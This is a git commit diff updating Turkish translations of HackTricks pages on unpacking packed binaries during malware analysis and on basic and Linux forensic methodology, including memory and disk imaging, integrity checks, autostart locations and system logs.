Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

This commit is contained in:
Translator 2024-07-19 04:01:54 +00:00
parent 04b79ea806
commit 616ada8516
101 changed files with 4565 additions and 4905 deletions

View file

@ -1,50 +1,54 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
# Paketlenmiş ikili dosyaları tanımlama
# Paketlenmiş ikililerin tanımlanması
* **Dize eksikliği**: Paketlenmiş ikili dosyaların neredeyse hiç dize içermediği yaygındır
* **Kullanılmayan çok sayıda dize**: Ayrıca, bir kötü amaçlı yazılımın ticari bir paketleyici kullandığında çok sayıda çapraz referans olmayan dize bulmak yaygındır. Bu dizeler varsa bile, bu ikili dosyanın paketlenmediği anlamına gelmez.
* Bir ikili dosyanın hangi paketleyicinin kullanıldığını bulmaya çalışmak için bazı araçlar da kullanabilirsiniz:
* **string eksikliği**: Paketlenmiş ikililerde neredeyse hiç string bulunmaması yaygındır.
* Birçok **kullanılmayan string**: Ayrıca, bir kötü amaçlı yazılım bazı ticari paketleyiciler kullanıyorsa, genellikle çapraz referansları olmayan birçok string bulmak yaygındır. Bu stringler mevcut olsa bile, bu durum ikilinin paketlenmediği anlamına gelmez.
* Bir ikilinin hangi paketleyici ile paketlendiğini bulmak için bazı araçlar kullanabilirsiniz:
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
* [Language 2000](http://farrokhi.net/language/)
# Temel Tavsiyeler
# Temel Öneriler
* Paketlenmiş ikili dosyayı **IDA'da alttan yukarı doğru analiz etmeye başlayın ve yukarı doğru hareket edin**. Paketleyici, paketlenmiş kodun çıkış yaptığı anda çıkar, bu nedenle paketleyicinin başlangıçta paketlenmiş kodun yürütülmesini paketlenmiş kodun yürütülmesine geçirme olasılığı düşüktür.
* **JMP'leri** veya **CALL'ları** araştırın, **kayıtlara** veya **bellek bölgelerine** yönlendirin. Ayrıca, **argümanları iten işlevleri ve bir adres yönü ve ardından `retn` çağıran işlevleri arayın**, çünkü bu durumda işlevin dönüşü, çağrılan adresi yığın üzerine ittikten sonra çağırmadan önce çağırabilir.
* `VirtualAlloc` üzerine bir **kesme noktası** koyun, çünkü bu, programın yazılabileceği bellek alanını ayırır. Fonksiyonu çalıştırdıktan sonra EAX içindeki değere ulaşmak için "kullanıcı koduna çalış" veya F8'i kullanın ve "bu adrese dökün". Paketlenmiş kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz.
* Argüman olarak "**40**" değeriyle **`VirtualAlloc`** kullanmak, Oku+Yaz+Çalıştır anlamına gelir (buraya kopyalanacak bir yürütme gerektiren kod).
* Kodu açarken, **aritmetik işlemlere** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi işlevlere **çok sayıda çağrı** bulmak normaldir. Yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` işlemleri gerçekleştiren bir işlevde bulunursanız, işlevin sonunu (belki bir JMP veya bir kayda çağrı) **bulmaya çalışın** veya en azından **son işlevi çağıran çağrıyı bulun** ve kod ilginç değilse çalıştırın.
* Kodu açarken, bir bellek bölgesini değiştirdiğinizde **bellek bölgesi değişikliğinin paketlenmiş kodun başlangıcını gösterebileceğini** unutmayın. Bir bellek bölgesini Process Hacker (işlem --> özellikler --> bellek) kullanarak kolayca dökümleyebilirsiniz.
* Kodu açmaya çalışırken, **zaten paketlenmemiş kodla çalışıp çalışmadığınızı bilmek** (böylece sadece dökebilirsiniz) için ikili dosyanın dizelerini kontrol etmek iyi bir yoldur. Bir noktada bir sıçrama yaparsanız (belki bellek bölgesini değiştirirken) ve **daha fazla dize eklendiğini fark ederseniz**, o zaman **paketlenmemiş kodla çalıştığınızı** bilebilirsiniz.\
Ancak, paketleyicide zaten çok sayıda dize bulunuyorsa, "http" kelimesini içeren dize sayısına bakabilir ve bu sayının artıp artmadığını görebilirsiniz.
* Bir bellek bölgesinden bir yürütülebilir dosyayı döktüğünüzde, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz.
* Paketlenmiş ikiliyi **IDA'da alttan başlayarak analiz etmeye** başlayın ve yukarı doğru ilerleyin. Paket açıcılar, açılmış kod çıkınca çıkış yapar, bu nedenle paket açıcının açılmış koda başlangıçta yürütme geçirmesi olası değildir.
* **Kayıtlar** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir.
* `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın ılmış kod yazabileceği bellek alanını ayırır. "Kullanıcı koduna çalıştır" veya F8 kullanarak **fonksiyonu çalıştırdıktan sonra EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz.
* **`VirtualAlloc`**'un "**40**" değeri ile bir argüman olarak kullanılması, Okuma+Yazma+Çalıştırma anlamına gelir (buraya kopyalanacak bazı çalıştırma gerektiren kodlar olacak).
* **Kodu açarken**, **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlara **birçok çağrı** bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda bulursanız, öneri, **fonksiyonun sonunu bulmaya çalışmaktır** (belki bir JMP veya bazı kayıtlarla çağrı) **veya** en azından **son fonksiyona yapılan çağrıya kadar ilerleyin** çünkü kod ilginç değildir.
* Kodu açarken, **bellek bölgesini değiştirdiğinizde** not alın, çünkü bir bellek bölgesi değişikliği **açma kodunun başlangıcını** gösterebilir. Process Hacker kullanarak bir bellek bölgesini kolayca dökebilirsiniz (işlem --> özellikler --> bellek).
* Kodu açmaya çalışırken, **ılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikili dosyanın stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\
Ancak, eğer paketleyici zaten birçok string içeriyorsa, "http" kelimesini içeren string sayısını görebilir ve bu sayının artıp artmadığını kontrol edebilirsiniz.
* Bir bellek bölgesinden bir yürütülebilir dosyayı dökerken, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Temel Adli Bilişim Metodolojisi
# Temel Adli Metodoloji
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Bir Görüntü Oluşturma ve Bağlama
@ -18,23 +21,23 @@
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
{% endcontent-ref %}
## Zararlı Yazılım Analizi
## Kötü Amaçlı Yazılım Analizi
Bu, **görüntüye sahip olduktan sonra yapılması gereken ilk adım olmayabilir**. Ancak bir dosyanız, bir dosya sistemi görüntüsü, bellek görüntüsü, pcap... varsa bu zararlı yazılım analizi tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden bu eylemleri **akılda tutmak iyi olur**:
Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosyanız, dosya sistemi görüntünüz, bellek görüntünüz, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Bir Görüntünün İncelenmesi
## Bir Görüntüyü İnceleme
Eğer size bir cihazın **adli görüntüsü** verilirse, **bölümleri, kullanılan dosya sistemi** ni analiz etmeye ve potansiyel olarak **ilginç dosyaları** (hatta silinmiş olanları) **kurtarmaya** başlayabilirsiniz. Nasıl yapılacağını öğrenin:
Eğer bir cihazın **adli görüntüsü** verilirse, **bölümleri, kullanılan dosya sistemini** analiz etmeye ve **potansiyel olarak ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin:
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç bulgular aranmalıdır:
Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır:
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
@ -48,15 +51,16 @@ Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilgi
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## Belirli Dosya Türlerinin ve Yazılımların Derin İncelemesi
## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi
Eğer çok **şüpheli bir dosyanız** varsa, o zaman **dosya türüne ve oluşturan yazılıma** bağlı olarak birkaç **hile** işe yarayabilir. İlginç hileler öğrenmek için aşağıdaki sayfayı okuyun:
Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **ipuçları** faydalı olabilir.\
Bazı ilginç ipuçlarını öğrenmek için aşağıdaki sayfayı okuyun:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
Özellikle şu sayfaya özel bir bahsetmek istiyorum:
Aşağıdaki sayfaya özel bir atıfta bulunmak istiyorum:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
@ -74,9 +78,9 @@ Eğer çok **şüpheli bir dosyanız** varsa, o zaman **dosya türüne ve oluşt
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **Anti-Adli Bilişim Teknikleri**
## **Anti-Adli Teknikler**
Mümkün olan anti-adli bilişim tekniklerinin kullanımını akılda tutun:
Anti-adli tekniklerin olası kullanımını aklınızda bulundurun:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
@ -88,14 +92,17 @@ Mümkün olan anti-adli bilişim tekniklerinin kullanımını akılda tutun:
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -52,9 +52,9 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Şüpheli bilgiler
Temel bilgileri elde ederken, garip şeyler için kontrol etmelisiniz:
Temel bilgileri elde ederken, tuhaf şeyler için kontrol etmelisiniz:
* **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID ile bir root süreci bulursanız şüphelenebilirsiniz.
* **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID'ye sahip bir root süreci bulursanız şüphelenebilirsiniz.
* `/etc/passwd` içinde shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin.
* Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin.
@ -76,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME 3 **formatı** destekler:
* Ham (her segment bir araya getirilmiş)
* Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlar ile)
* Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla)
* Lime (meta verilerle önerilen format)
LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444`
### Disk Görüntüleme
#### Kapatma
#### Sistemi kapatma
Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **kanıtları yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (bilgilerin çoğu kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatması**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **delilleri yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (bilgilerin çoğu kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskin görüntüsünü alma
**Davanızla ilgili herhangi bir şeye bilgisayarınızı bağlamadan önce**, bunun **sadece okunur olarak** bağlanacağından emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz.
**Dava ile ilgili herhangi bir şeye bilgisayarınızı bağlamadan önce**, bunun **sadece okunur olarak** bağlanacağından emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -166,10 +166,10 @@ Bugün Erişim Alın:
### Değiştirilmiş Sistem Dosyaları
Linux, potansiyel olarak sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar.
Linux, potansiyel olarak sorunlu dosyaları tespit etmek için kritik olan sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar.
* **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `debsums`'u `apt-get install debsums` ile yükledikten sonra) ile herhangi bir sorunu belirleyin.
* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `debsums`'ı `apt-get install debsums` ile yükledikten sonra) ile herhangi bir sorunu tespit edin.
### Kötü Amaçlı Yazılım/Rootkit Tespit Cihazları
@ -181,12 +181,12 @@ Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkın
## Yüklenmiş Programları Ara
Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrollerle birleştirmeyi düşünün.
Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını kullanmayı, ayrıca yaygın dizinlerde manuel kontroller yapmayı düşünün.
* Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın.
* RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Tanınmış paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları belirlemek için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin.
Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Tanınmış paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -212,7 +212,7 @@ Bugün Erişim Alın:
## Silinmiş Çalışan İkili Dosyaları Kurtarma
/tmp/exec'den çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür.
/tmp/exec'ten çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -240,8 +240,8 @@ Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar:
* **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlatma betiklerine yönlendirir.
* **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi daha eski Linux sürümlerinde bulunur.
* **/etc/init.d/**: Başlatma betiklerini depolamak için Debian gibi belirli Linux sürümlerinde kullanılır.
* Hizmetler, Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** aracılığıyla da etkinleştirilebilir.
* **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır.
* Hizmetler ayrıca Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden de etkinleştirilebilir.
* **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin.
* **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı çalışma seviyesinde başlatılması gereken hizmetlere bağlantılar içerir.
* **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetler için.
@ -250,10 +250,10 @@ Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar:
### Çekirdek Modülleri
Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır:
Kötü amaçlı yazılımlar tarafından genellikle rootkit bileşenleri olarak kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır:
* **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri tutar.
* **/etc/modprobe.d**: Modül yüklemeyi kontrol etmek için yapılandırma dosyalarını içerir.
* **/etc/modprobe.d**: Modül yüklemeyi kontrol eden yapılandırma dosyalarını içerir.
* **/etc/modprobe** ve **/etc/modprobe.conf**: Küresel modül ayarları için dosyalar.
### Diğer Otomatik Başlatma Yerleri
@ -261,12 +261,12 @@ Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kul
Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir:
* **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişinde çalışır.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişi sırasında çalışır.
* **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder.
## Günlükleri İnceleyin
Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır:
Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişim, kötü amaçlı yazılım enfeksiyonları ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır:
* **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
